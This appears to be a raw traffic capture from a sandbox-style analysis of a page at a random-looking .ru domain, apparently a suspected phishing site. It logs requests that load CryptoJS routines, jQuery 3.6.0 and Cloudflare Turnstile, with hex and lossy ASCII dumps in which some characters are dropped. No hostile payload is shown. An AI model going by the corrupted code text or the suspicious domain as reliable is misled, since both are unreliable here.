2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:40 UTC	663	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:40 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 20 Mar 2025 07:56:40 GMT Via: 1.1 varnish Age: 1126382 X-Served-By: cache-lga21948-LGA X-Cache: HIT X-Cache-Hits: 743 X-Timer: S1742457400.394161,VS0,VE0 Vary: Accept-Encoding
2025-03-20 07:56:40 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-20 07:56:40 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-20 07:56:40 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-20 07:56:40 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-20 07:56:40 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-20 07:56:40 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:40 UTC	688	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:40 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:56:40 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9233a783a8c52142-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 07:56:40 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of 